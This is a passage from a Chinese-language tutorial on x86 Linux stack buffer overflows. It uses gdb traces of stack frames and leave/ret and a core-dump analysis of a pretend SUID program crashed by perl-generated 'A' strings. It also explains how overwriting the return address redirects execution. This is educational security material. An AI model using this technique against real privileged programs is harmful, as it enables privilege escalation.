请注意: 此时esp的内容为0xbffff6a0, ebp的内容为0xbffff6ac
单步运行leave指令, 然后看一下寄存器的情况.
(gdb) si
0x8048428 in vulFunc ()
(gdb) i reg
eax 0x10 16
ecx 0x400 1024
edx 0x4010a980 1074833792
ebx 0x4010c1ec 1074840044
esp 0xbffff6b0 -1073744208
ebp 0xbffff6b8 -1073744200
esi 0x4000ae60 1073786464
edi 0xbffff704 -1073744124
eip 0x8048428 134513704
eflags 0x396 918
(以下省略)
...
此时的esp的内容为0xbffff6b0, 即执行leave指令前的ebp内容0xbffff6ac+4;
ebp的内容为0xbffff6b8, 这个值从那来的呢? 看一下此时进程在内存中的影像, 正好是
vulFunc函数的ebp指向的内存的内容, 而随着这个值的出栈, esp的值正好为0xbffff6b0.
由此可见, leave指令其实等价于
mov %ebp,%esp
pop %ebp
这两条指令, 正好和刚进入被调用函数时
push %ebp
mov %esp,%ebp
这两条指令的功能相反.
也就是说leave指令抛弃了被调用函数的栈帧, 恢复了调用函数的栈帧.
此时栈中相关的内容:
(gdb) x/11x $esp
0xbffff6b0: 0x08048443 0xbffff856 0xbffff6d8 0x400349cb
0xbffff6c0: 0x00000002 0xbffff704 0xbffff710 0x40013868
0xbffff6d0: 0x00000002 0x08048350 0x00000000
进程在内存中的相关影像:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb|
0xbffff6bc +--------+ <-- 调用main函数前的esp
|bffff6d8| 调用main函数前的ebp
0xbffff6b8 +--------+ <-- main函数的ebp
|bffff856| 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+
|08048443| vulFunc函数的返回地址
0xbffff6b0 +--------+ <-- 当前esp
|bffff6b8| (垃圾) main函数的ebp
0xbffff6ac +--------+
|bffff600| (垃圾)
0xbffff6a8 +--------+
|41414141| (垃圾)
0xbffff6a4 +--------+
|41414141| (垃圾)
0xbffff6a0 +--------+
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff69c +--------+
|bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址
0xbffff698 +--------+
| ...... |
(内存低址)
继续执行下条指令: ret
(gdb) si
0x8048443 in main ()
(gdb) i reg
eax 0x10 16
ecx 0x400 1024
edx 0x4010a980 1074833792
ebx 0x4010c1ec 1074840044
esp 0xbffff6b4 -1073744204
ebp 0xbffff6b8 -1073744200
esi 0x4000ae60 1073786464
edi 0xbffff704 -1073744124
eip 0x8048443 134513731
eflags 0x396 918
(以下省略)
...
可以看出, 从栈中弹出0x8048443(vulFunc函数调用的返回地址)给了eip.
至此vulFunc函数调用完毕, 返回到main函数继续执行.
值得注意的是: 如果象上面所说的, 我们输入的字串长度为二十个'A'--刚好复盖完0xbffff6b0
所指的单元, 那么此时从栈中弹出给eip的内容将是0x41414141, 而不是0x8048443, 程序
将跳到0x41414141去执行那里的指令, 由于0x41414141对于当前进程来说是不可访问的,
所以导致段出错(Segmentation fault), 进程停止执行.
这是我们的第三个焦点.
如果我们能计算好位移(offset), 用我们准备好的代码的入口地址来覆盖0xbffff6b0所
指的单元, 那么从栈中弹出给eip的内容就是我们的代码的入口地址, 程序将跳到我们的
代码去继续执行.
分析到这里, 我们已经清楚了C语言函数调用的机制了. main函数的后续指令对于我们的
分析已无关紧要. 但是为了保持文章的完整, 我们继续再往下看看.
此时栈的情况:
(gdb) x/10x $esp
0xbffff6b4: 0xbffff856 0xbffff6d8 0x400349cb 0x00000002
0xbffff6c4: 0xbffff704 0xbffff710 0x40013868 0x00000002
0xbffff6d4: 0x08048350 0x00000000
进程在内存中的相关影像:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb|
0xbffff6bc +--------+ <-- 调用main函数前的esp
|bffff6d8| 调用main函数前的ebp
0xbffff6b8 +--------+ <-- main函数的ebp
|bffff856| 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+ <-- 当前esp
|08048443| (垃圾) vulFunc函数的返回地址
0xbffff6b0 +--------+
|bffff6b8| (垃圾) main函数的ebp
0xbffff6ac +--------+
|bffff600| (垃圾)
0xbffff6a8 +--------+
|41414141| (垃圾)
0xbffff6a4 +--------+
|41414141| (垃圾)
0xbffff6a0 +--------+
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff69c +--------+
|bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址
0xbffff698 +--------+
| ...... |
(内存低址)
再看看后续的指令做了些什么?
0x8048443 : add $0x4,%esp ; 抛弃栈中为被调用函数准备的参数.
0x8048446 : jmp 0x804845b ; 跳转到0x804845b继续执行
0x8048448 : mov 0xc(%ebp),%eax ; 0x8048433 jne的条件判断跳转
; 入口(即argc!=2的情况)
; 把ebp+0xc所指向的内存单元的
; 内容赋给eax, 从上面的分析我
; 们知道里面放的是argv的地址
0x804844b : mov (%eax),%edx ; 把eax指向的地址的内存单元里
; 的内容赋给edx, 我们知道argv
; 是个数组, argv的值就是argv[0]
0x804844d : push %edx ; 把argv[0]入栈. 注意这里的
; argv[0]其实是个地址值.
0x804844e : push $0x80484bb ; 把常数0x80484bb入栈
; 以上为调用printf函数准备参数.
0x8048453 : call 0x8048330 ; 调用printf函数
0x8048458 : add $0x8,%esp ; 抛弃为调用printf函数准备的参数
0x804845b : leave ; 恢复调用main函数的函数的栈帧
0x804845c : ret ; 返回到调用main函数的函数
估计0x80484bb指向的是printf函数的format字串, 看看是不是?
(gdb) x/1s 0x80484bb
0x80484bb <_IO_stdin_used+15>: "Usage: %s \n"
果然是. 那从0x8048448到0x8048458这段指令就是C语言
printf("Usage: %s \n", argv[0]);
的等价汇编语句了.
我们把断点设到0x804845b, 再继续执行.
(gdb) b *0x804845b
Breakpoint 6 at 0x804845b
(gdb) c
Continuing.
Breakpoint 6, 0x804845b in main ()
下一条指令是leave, 应该是恢复调用函数的函数的栈帧.
单步执行一下, 看看寄存器及栈的情况.
(gdb) si
0x804845c in main ()
(gdb) i reg
eax 0x10 16
ecx 0x400 1024
edx 0x4010a980 1074833792
ebx 0x4010c1ec 1074840044
esp 0xbffff6bc -1073744196
ebp 0xbffff6d8 -1073744168
esi 0x4000ae60 1073786464
edi 0xbffff704 -1073744124
eip 0x804845c 134513756
eflags 0x386 902
(以下省略)
...
(gdb) x/8x $esp
0xbffff6bc: 0x400349cb 0x00000002 0xbffff704 0xbffff710
0xbffff6cc: 0x40013868 0x00000002 0x08048350 0x00000000
下一条指令是ret, 我们知道栈顶放的是main函数的返回地址(0x400349cb).
此时进程在内存中的相关影像:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb| main函数的返回地址
0xbffff6bc +--------+ <-- 当前esp
|bffff6d8| (垃圾) 调用main函数前的ebp
0xbffff6b8 +--------+
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+
|08048443| (垃圾) vulFunc函数的返回地址
0xbffff6b0 +--------+
|bffff6b8| (垃圾) main函数的ebp
0xbffff6ac +--------+
|bffff600| (垃圾)
0xbffff6a8 +--------+
|41414141| (垃圾)
0xbffff6a4 +--------+
|41414141| (垃圾)
0xbffff6a0 +--------+
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff69c +--------+
|bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址
0xbffff698 +--------+
| ...... |
(内存低址)
再单步执行, 返回到调用main函数的函数
(gdb) si
0x400349cb in __libc_start_main (main=0x804842c , argc=2, argv=0xbffff704, init=0x80482c0 <_init>,
fini=0x804848c <_fini>, rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffff6fc)
at ../sysdeps/generic/libc-start.c:92
92 ../sysdeps/generic/libc-start.c: No such file or directory.
原来是 __libc_start_main 函数调用了我们的main函数, 看来和概述里说的有些出入,
但这对于我们来讲不是很重要. 如果想看源码, 请到../sysdeps/generic/libc-start.c
文件中找.
(gdb) x/16x $esp
0xbffff6c0: 0x00000002 0xbffff704 0xbffff710 0x40013868
0xbffff6d0: 0x00000002 0x08048350 0x00000000 0x08048371
0xbffff6e0: 0x0804842c 0x00000002 0xbffff704 0x080482c0
0xbffff6f0: 0x0804848c 0x4000ae60 0xbffff6fc 0x40013e90
从上面可以看到, stack_end=0xbffff6fc, 也就是说我们的进程的栈底地址为0xbffff6fc,
在调用__libc_start_main函数前依次推了如下七个参数入栈:
0xbffff6fc -> 进程的栈底
0x4000ae60 -> _dl_fini函数的人口地址.
0x0804848c -> _fini函数的入口地址
0x080482c0 -> _init函数的入口地址
0xbffff704 -> argv命令行参数地址的地址
0x00000002 -> argc命令行参数个数值
0x0804842c -> 我们的main函数入口
从上面的分析可推出, 在内存地址0xbffff6dc的内容0x08048371就是__libc_start_main函数
的返回地址了.
我们来看看是什么函数调用了__libc_start_main.
(gdb) disas 0x08048371
Dump of assembler code for function _start:
0x8048350 <_start>: xor %ebp,%ebp
0x8048352 <_start+2>: pop %esi
0x8048353 <_start+3>: mov %esp,%ecx
0x8048355 <_start+5>: and $0xfffffff8,%esp
0x8048358 <_start+8>: push %eax
0x8048359 <_start+9>: push %esp
0x804835a <_start+10>: push %edx
0x804835b <_start+11>: push $0x804848c
0x8048360 <_start+16>: push $0x80482c0
0x8048365 <_start+21>: push %ecx
0x8048366 <_start+22>: push %esi
0x8048367 <_start+23>: push $0x804842c
0x804836c <_start+28>: call 0x8048320 <__libc_start_main>
0x8048371 <_start+33>: hlt
0x8048372 <_start+34>: nop
0x8048373 <_start+35>: nop
(省略以下的nop)
End of assembler dump.
原来是_start函数调用了__libc_start_main函数.
至于_start函数调用__libc_start_main函数后, 接是如何调用_init函数和_dl_runtime_resove
函数来调用共享库函数和我们的main函数然后退出的, 已经远远脱离了本文的主题, 这里不再继
续介绍.
(gdb) x/1024x 0xbffff6f0
0xbffff6f0: 0x0804848c 0x4000ae60 0xbffff6fc 0x40013e90
0xbffff700: 0x00000002 0xbffff83e 0xbffff856 0x00000000
0xbffff710: 0xbffff85f 0xbffff881 0xbffff88f 0xbffff89e
0xbffff720: 0xbffff8c4 0xbffff8d2 0xbffff900 0xbffff91a
0xbffff730: 0xbffff932 0xbffff94d 0xbffff9a8 0xbffff9df
0xbffff740: 0xbffffaf3 0xbffffb06 0xbffffb11 0xbffffb31
0xbffff750: 0xbffffb5a 0xbffffb68 0xbffffc72 0xbffffc7e
0xbffff760: 0xbffffc8f 0xbffffca4 0xbffffcb4 0xbffffcbf
0xbffff770: 0xbffffcd7 0xbffffcf5 0xbffffd0e 0xbffffd19
0xbffff780: 0xbffffd23 0xbffffd6c 0xbffffd79 0xbffffda0
0xbffff790: 0xbffffdb2 0xbffffdc1 0xbffffde6 0xbffffe08
0xbffff7a0: 0xbffffe10 0xbfffffd3 0x00000000 0x00000003
0xbffff7b0: 0x08048034 0x00000004 0x00000020 0x00000005
0xbffff7c0: 0x00000006 0x00000006 0x00001000 0x00000007
0xbffff7d0: 0x40000000 0x00000008 0x00000000 0x00000009
0xbffff7e0: 0x08048350 0x0000000b 0x000001f5 0x0000000c
0xbffff7f0: 0x000001f5 0x0000000d 0x00000004 0x0000000e
0xbffff800: 0x00000004 0x00000010 0x008001bf 0x0000000f
0xbffff810: 0xbffff839 0x00000000 0x00000000 0x00000000
0xbffff820: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff830: 0x00000000 0x00000000 0x38356900 0x682f0036
0xbffff840: 0x2f656d6f 0x65776f74 0x74742f72 0x2f737775
0xbffff850: 0x2f6c6469 0x41410070 0x41414141 0x4c004141
0xbffff860: 0x4f535345 0x3d4e4550 0x73752f7c 0x69622f72
...
(省略)
...
0xbfffffd0: 0x54003a35 0x75413d5a 0x61727473 0x2f61696c
0xbfffffe0: 0x0057534e 0x6d6f682f 0x6f742f65 0x2f726577
0xbffffff0: 0x77757474 0x64692f73 0x00702f6c 0x00000000
0xc0000000: Cannot access memory at address 0xc0000000
我们知道内存单元0xbffff704放的是指argv[0]的地址, 那么0xbffff708放的就是argv[1]
的地址了. 0xbffff700里放的是argc的值.
那么0xbffff710里放的是什么呢? 看样子象是指向字符串的地址, 让我们来看看.
(gdb) x/1s 0xbffff85f
0xbffff85f: "LESSOPEN=|/usr/bin/lesspipe.sh %s"
(gdb)
0xbffff881: "HISTSIZE=1000"
...
再看看最后一个.
(gdb) x/1s 0xbfffffd3
0xbfffffd3: "TZ=Australia/NSW"
0xc0000000以后的地址空间已不是进程能合法访问的了.
原来都是些SHELL的环境变量字符串.
这一片东西是从内存地址0xbffff839开始的, 让我们再看看.
(gdb) x/1s 0xbffff839
0xbffff839: "i586"
(gdb)
0xbffff83e: "/home/vcat/p" ===> 细心的朋友会发现这里已被俺改掉了,
让俺保留一点私隐吧 ;)
(gdb)
0xbffff856: "AAAAAAAA"
(gdb)
0xbffff85f: "LESSOPEN=|/usr/bin/lesspipe.sh %s"
...
我们得出结论: 0xbffff700放的是argc的值; 0xbffff704放的是argv[0]的地址,
0xbffff708放的是argv[1]的地址; 0xbffff710--0xbffffa4放的是指向各个环境变量
字符串起始地址的指针; 从内存地址0xbffff839开始依次存放的是: 系统平台信息字
串; 命令行字串; 环境变量字串.
至于0xbffff7a8--0xbffff838里放的是什么, 还有待研究. 由于对本文不是至关重要,
暂时放一下.
分析到这, 我们来组合一下进程在内存的影像:
(内存高址)
| ...... | ...省略了一些我们不需要关心的区
+--------+
|00000000|\
0xbffffffc +--------+ \
| ...... | \
\
| ...... | \
0xbffff844 +--------+ 系统平台信息串(如:"i586")和命令行参数及环境变量字串
|2f656d6f| /
0xbffff840 +--------+ /
|682f0036| /
0xbffff83c +--------+ /
|38356900|/ --> 从内存地址0xbffff839开始, 0x69353836="i586"
0xbffff838 +--------+
| ...... |\
里面放的是什么? 还有待研究
| ...... |/
0xbffff7a8 +--------+
|bfffffd3|\
0xbffff7a4 +--------+ \
| ...... | \
...... 环境变量指针
| ...... | /
0xbffff714 +--------+ /
|bffff85f|/
0xbffff710 +--------+
|00000000|
0xbffff70c +--------+
|bffff856| argv[1]的地址
0xbffff708 +--------+
|bffff83e| argv[0]的地址
0xbffff704 +--------+
|00000002| argc的值
0xbffff700 +--------+
|40013e90| ???? (和_dl_starting_up函数有关)
0xbffff6fc +--------+ <-- 进程的栈底
|bffff6fc| stack_end(进程的栈底)
0xbffff6f8 +--------+
|4000ae60| _dl_fini函数入口地址
0xbffff6f4 +--------+
|0804848c| _fini函数入口地址
0xbffff6f0 +--------+
|080482c0| _init函数入口地址
0xbffff6ec +--------+
|bffff704| argv地址的地址
0xbffff6e8 +--------+
|00000002| argc的值
0xbffff6e4 +--------+
|0804842c| main函数的入口地址
0xbffff6e0 +--------+
|08048371| __libc_start_main的返回地址(指令hlt), 正常情况不会返回到这.
0xbffff6dc +--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350| _start函数的入口地址
+--------+
|00000002| argc的值
+--------+
|40013868| ????
+--------+
|bffff710| 环境变量指针的地址
+--------+
|bffff704| argv地址的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb| main函数的返回地址
0xbffff6bc +--------+ <-- 当前esp
|bffff6d8| (垃圾) 调用main函数前的ebp
0xbffff6b8 +--------+
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+
|08048443| (垃圾) vulFunc函数的返回地址
0xbffff6b0 +--------+
|bffff6b8| (垃圾) main函数的ebp
0xbffff6ac +--------+
|bffff600| (垃圾)
0xbffff6a8 +--------+
|41414141| (垃圾)
0xbffff6a4 +--------+
|41414141| (垃圾)
0xbffff6a0 +--------+
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff69c +--------+
|bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址
0xbffff698 +--------+
| ...... |
(内存低址)
通过以上的分析, 我们对C语言函数调用的机制和程序在内存中运行情况就了解得差不多了.
基础打好了, 想进步就容易多了, 想干什么都可以随心所欲.
iii) 小结
a) 32位机器的内存分配是以4个字节为单元的.
b) 指令: push %寄存器(32位)
相当于esp=esp-4, 然后把寄存器里的值存放到esp所指的4个字节的内存单元里.
c) 指令: pop %寄存器(32位)
相当于把esp所指向的内存单元的值赋给所指定的寄存器, 然后esp=esp+4.
d) 函数调用时所建立的栈帧的内存空间并没有清零, 而是沿用了以前调用其它函数时所余
留下来的数据, 这就是编程时如果没有初始化局部变量, 该变量的初始值不一定为零的
原因.
e) main函数被调用前的栈的内容和概述里描述的有出入--概述只是个一般性的描述, 对不
同的平台要具体分析.
f) 在Linux x86平台, 调用函数所传给被调用函数的参数是由调用函数人栈的, 存放在调用
函数的栈帧里;
被调用函数返回后, 由调用函数负责把入栈的参数从栈中弹出.
g) 参数的入栈顺序由右向左. 即: 函数最右边的参数最先入栈, 依次到最左边的.
h) 被调用函数对参数和局部变量的访问遵循如下原则:
以被调用函数的ebp为分界线, ebp+n*4(n>=2)为对被传给它的参数的引用;
ebp-n*4(n>=1)为对局部变量的引用.
如下图所示:
(内存高址)
| ...... | 参数m(m>=1)
+--------+ ebp+(m+1)*4
| ...... |
+--------+
|PPPPPPPP| 参数3
+--------+ ebp+16
|PPPPPPPP| 参数2
+--------+ ebp+12
|PPPPPPPP| 参数1
+--------+ ebp+8
|返回地址|
+--------+ ebp+4
| ebp |
+--------+ <-- 被调用函数的ebp
|LLLLLLLL| 局部变量内存单元1
+--------+ ebp-4
|LLLLLLLL| 局部变量内存单元2
+--------+ ebp-8
| ...... |
+--------+
| ...... | 局部变量内存单元m
+--------+ ebp-m*4
| ...... |
(内存低址)
i) 进入被调用函数时的
push %ebp
mov %esp, %ebp
这两条指令实现了对调用函数的栈帧栈底的保存和把调用函数的栈顶做为被调用函数
的栈底.
j) 被调用函数返回前的指令leave实现了i)中的相反的动作.
即: 被调用函数返回前恢复调用函数的栈帧.
相当于
mov %ebp, %esp
pop %ebp
也就是, 把被调用函数的ebp的值赋给esp--当前(被调用函数)的栈底做为新的栈顶;
把新栈顶的内容弹出做为栈底--从而完成了调用函数栈帧的恢复.
2) 溢出分析
我们假装一下有这样的情况: 怀疑系统有一个SUID的可执行文件p可能有问题, 我们知道它接收
命令行提供给它的字串然后在屏幕上显示出来.
有时假装真的很难做到, 尤其对于我们这些"菜鸟"来讲. "高手"就不一样了, 往往会把简单的问
题越说越复杂, 以显高手本色. ;)
如何发现缓冲区溢出的触发条件? 这不仅是烦琐的, 而且也是个复杂的劳动, 所以要有方法. 碰
运气发现的情况是有的, 但我们要的是方法论. 如果能有好的方法再加上运气, 那就再好不过了.
那什么样的方法好呢? 我们就以最笨的"菜鸟"方法吧. 我们来"土法炼钢" ... 看看成不成? ;)
我们知道命令p接收命令行的字串. 我们也知道在编程时, 一般习惯缓冲区大小定义为1024, 512,
256, 64, ... 好, 那我们就用二分法来步步逼进, 去找一下.
bash$ ./p `perl -e 'print "A"x1025'`
String=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA
Segmentation fault (core dumped)
哈! 段出错. 溢出了.
我们要找的是最短的串使命令p溢出的情况. 继续 ...
bash$ ./p `perl -e 'print "A"x513'`
String=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
Segmentation fault (core dumped)
...
...
...
bash$ ./p `perl -e 'print "A"x17'`
String=AAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
bash$ ./p `perl -e 'print "A"x9'`
String=AAAAAAAAA
字串长度等于9没有溢出.
bash$ ./p `perl -e 'print "A"x13'`
String=AAAAAAAAAAAAA
Segmentation fault (core dumped)
字串长度等于13溢出了.
bash$ ./p `perl -e 'print "A"x11'`
String=AAAAAAAAAAA
字串长度等于11没有溢出.
bash$ ./p `perl -e 'print "A"x12'`
String=AAAAAAAAAAAA
Segmentation fault (core dumped)
字串长度等于12时, 刚好溢出.
所以, 字串长度大于等于12是溢出触发条件.
让我们来分析一下这个Segmentation fault段出错的core文件.
bash$ gdb -c core p
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
Core was generated by `./p AAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0xd790266 in ?? ()
(gdb) bt
#0 0xd790266 in ?? ()
#1 0x4001407c in ?? ()
#2 0x3 in ?? ()
#3 0x400144e8 in ?? ()
(gdb) i reg
eax 0x14 20
ecx 0x400 1024
edx 0x4010a980 1074833792
ebx 0x4010c1ec 1074840044
esp 0xbffff608 -1073744376
ebp 0x400146ec 1073825516
esi 0x4000ae60 1073786464
edi 0xbffff734 -1073744076
eip 0xd790266 226034278
eflags 0x10286 66182
(以下省略)
...
进程运行到eip=0xd790266时退出了.
我们看一下
(gdb) x/x 0x4010a980
0x4010a980 <_IO_2_1_stdout_>: 0xfbad2a84
(gdb) x/x 0x4010c1ec
0x4010c1ec: 0x000f0c84
(gdb) x/x 0xbffff608
0xbffff608: 0xbffff68c
(gdb) x/x 0x400146ec
0x400146ec: 0x4001407c
(gdb) x/x 0x4000ae60
0x4000ae60 <_dl_fini>: 0x83e58955
(gdb) x/x 0xbffff734
0xbffff734: 0xbffff86c
(gdb) x/x 0xd790266
0xd790266: Cannot access memory at address 0xd790266
(gdb) disas 0xd790266
No function contains specified address.
相关寄存器(edx, ebx, esp, ebp, esi, edi)所指向的地址的内存单元是可以访问的, 除了
eip所指的地址不可访问. 所以是eip导致了段出错.
我们来看看这时栈里面的相关内容.
这时的esp指向0xbffff608, 从上面的分析可知这是从栈里面弹出返回地址后的栈顶, 我们把附近
的内存内容列出来看一下.
(gdb) x/64x $esp-32
0xbffff5e8: 0x400144e8 0x00000003 0x40014758 0x00000001
0xbffff5f8: 0xbffff610 0x40025df0 0x400146ec 0x0d790266
0xbffff608: 0xbffff68c 0x4002d82c 0x40025df0 0x400144e8
0xbffff618: 0x400140d4 0x077905a6 0xbffff6a4 0x080481fd
0xbffff628: 0x4001f630 0x400144e8 0x400140d4 0x078e530f
0xbffff638: 0xbffff6bc 0x0804823d 0x40025ca0 0x400144e8
0xbffff648: 0xbffff6cc 0x4002a1a6 0x40022ad0 0x400144e8
0xbffff658: 0xbffff690 0x4000a7fd 0x400144d8 0x400147b8
0xbffff668: 0x00000007 0x4000a74e 0x4010c1ec 0x4000ae60
0xbffff678: 0xbffff734 0x400144e8 0x40025df0 0x4010c8c0
0xbffff688: 0x4002d82c 0x40025df0 0xbffff6c0 0x4000a970
0xbffff698: 0xbffff87d 0xfffffe5f 0x40061920 0x400144e8
0xbffff6a8: 0xbffff6c0 0x4006a070 0x4010a980 0x080484b0
0xbffff6b8: 0xbffff6d0 0x4010c1ec 0xbffff6dc 0x08048424
0xbffff6c8: 0x080484b0 0xbffff6d0 0x41414141 0x41414141
0xbffff6d8: 0x41414141 0xbffff600 0x08048443 0xbffff870
在0xbffff604处正是当前eip的值, 0xbffff600处正是当前ebp的值.
从前面我们得到的结论, 可以推出0xbffff600这个地址值就是被调用函数返回前的栈顶esp所
指向的内存单元的内容, 被调用函数中的leave指令把当时的esp所指向的内存单元的内容
(0xbffff600)弹出来做了调用(当前)函数的栈底.
我们来查看一下在附近的内存中哪里有这个值--0xbffff600
哈! "远在天边, 近在眼前", 就在我们的视野里--最后一行的第二个内存单元, 省了我们再找.
它的前面(内存低地址)就是我们输入的那十二个可爱的"A", 那么紧接在它的后面(内存高地址)
的内存单元里的内容0x08048443就是被调用函数的返回地址了.
我们反汇编来看看是什么来的.
(gdb) disas 0x08048443
Dump of assembler code for function main:
0x804842c : push %ebp
0x804842d : mov %esp,%ebp
0x804842f : cmpl $0x2,0x8(%ebp)
0x8048433 : jne 0x8048448
0x8048435 : mov 0xc(%ebp),%eax
0x8048438 : add $0x4,%eax
0x804843b : mov (%eax),%edx
0x804843d : push %edx
0x804843e : call 0x8048400
0x8048443 : add $0x4,%esp
0x8048446 : jmp 0x804845b
0x8048448 : mov 0xc(%ebp),%eax
0x804844b : mov (%eax),%edx
0x804844d : push %edx
0x804844e : push $0x80484bb
0x8048453 : call 0x8048330
0x8048458 : add $0x8,%esp
0x804845b : leave
0x804845c : ret
0x804845d : nop
0x804845e : nop
0x804845f : nop
End of assembler dump.
嘻嘻... 那是我们的main函数. 噢! 怎么忘了我们在假装呢? :( 不行不行, 继续假装 ;)
原来是main函数调用了vulFunc, 然后main函数自己返回的时候出了问题. 那么问题究竞出在哪了?
我们再次看一下0xbffff600这个值, 参照刚才列出来的内存内容可以看出那个最低位字节的00
其实就是我们的字串的零结尾字符0. 也就是说, 我们输入的字串的零结尾字符复盖了栈中保存
的调用函数main的ebp的最低字节. 换句话来说, 如果调用函数ebp原来的值为0xbffff600, 则什
么事都没有; 如果原来的值为0xbffff6XX, 则轮到main函数恢复它的调用函数的栈帧时, 0xbffff600
就变成了该函数的栈顶esp, 从里面弹出来的ebp和返回地址就不对了(如我们现在的情况).
同时我们也知道一个字节--8位, 其最大值为FF--255, 如果缓冲区的大小大于或等于256, 那么
这个0xbffff600就有可能指向缓冲区内, 这里存在着另外一种利用的契机. 但是发生的概率太小
了, 这里不再继续讨论.
如果我们把输入字串加多4个字节(16个"A"), 那么在内存地址0xbffff6e0处的返回地址0x08048443
将会变为0x08048400, 我们对这个地址的内容反汇编还看看.
(gdb) disas 0x08048400
Dump of assembler code for function vulFunc:
0x8048400 : push %ebp
0x8048401 : mov %esp,%ebp
0x8048403 : sub $0xc,%esp
0x8048406 : mov 0x8(%ebp),%eax
0x8048409 : push %eax
0x804840a : lea 0xfffffff4(%ebp),%eax
0x804840d : push %eax
0x804840e : call 0x8048340
0x8048413 : add $0x8,%esp
0x8048416 : lea 0xfffffff4(%ebp),%eax
0x8048419 : push %eax
0x804841a : push $0x80484b0
